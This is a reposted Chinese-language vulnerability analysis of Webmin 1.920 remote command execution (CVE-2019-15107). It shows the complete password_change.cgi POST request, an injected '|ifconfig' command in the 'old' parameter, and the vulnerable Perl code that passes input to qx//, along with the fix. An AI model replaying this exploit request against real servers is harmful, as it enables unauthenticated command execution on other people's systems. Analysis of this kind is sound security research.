Webmin <=1.920 远程命令执行漏洞 - 【CVE-2019-15107】
2019-08-19 01:09:00 Author: xz.aliyun.com(查看原文) 阅读量:164 收藏

  • 测试版本:webmin 1.920
  • 测试环境:Ubuntu

漏洞需要开启密码重置功能。在控制界面 https://ip:10000/webmin/edit_session.cgi?xnavigation=1

等待webmin重启,配置生效。查看webmin的配置文件,可以发现passwd_mode的值已经从0变为了2

# cat /etc/webmin/miniserv.conf
...
passwd_mode=2
...

抓取到如下数据包:

POST /password_change.cgi HTTP/1.1
Host: yourip:10000
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Origin: https://yourip:10000
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: same-origin
Referer: https://yourip:10000/session_login.cgi
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sessiontest=1; sid=x

user=root&pam=1&expired=2&old=buyaoxiedaopocli&new1=buyaoxiedaopocli&new2=buyaoxiedaopocli

在参数old后加上|ifconfig 执行ifconfig命令。

如果user不存在,同样能执行命令

先整体看一下入口代码,password_change.cgi的第18-31行:

# Is this a Webmin user?
if (&foreign_check("acl")) {
    &foreign_require("acl", "acl-lib.pl");
    ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
    if ($wuser->{'pass'} eq 'x') {
        # A Webmin user, but using Unix authentication
        $wuser = undef;
        }
    elsif ($wuser->{'pass'} eq '*LK*' ||
           $wuser->{'pass'} =~ /^\!/) {
        &pass_error("Webmin users with locked accounts cannot change ".
                    "their passwords!");
        }
}

这段代码用于根据请求中的user参数来查找其值是否事webmin的用户。假设只存在一个用户是root,且user=root,那自然$wuserroot。但如果我们不知道用户名即user=xxxx,则在经过grep操作后$wuser的值仍然为undef

但是紧接着一个比较语句,这句代码会直接导致$wuser的值从undef变为{}

所以在接下来的更新密码部分,无论我们提供的user值是否是webmin的用户,都会进入到if ($wuser) {...}这条分支中。

  • user=root

  • user=noexists_user

因此接下去只需要看password_change.cgi的第37-40行:

if ($wuser) {
    # Update Webmin user's password
    $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
    ...
}

首先需要吐槽的是外国的这篇文章 https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html , 分析了一大堆的unix_crypt,然后突然冒出一句话说we will use "vertical bar (|)"。写的啥玩意啊,这跟RCE有啥关系???

重点看 pass_error这行代码,当密码验证不正确的时候将:

&pass_error($text{'password_eold'},qx/$in{'old'}/);

注意$in{'old'}即参数old,而且放在了qx/.../中!

下图所指即命令执行后的结果,这是能直接回显的原因。

所以实际上无需|这些符号,直接注入即可。

顺便说个笑话,见github issue https://github.com/webmin/webmin/issues/947

webmin 1.930 修复了该漏洞,简单粗暴,去掉qx:


文章来源: http://xz.aliyun.com/t/6040
如有侵权请联系:admin#unsafe.sh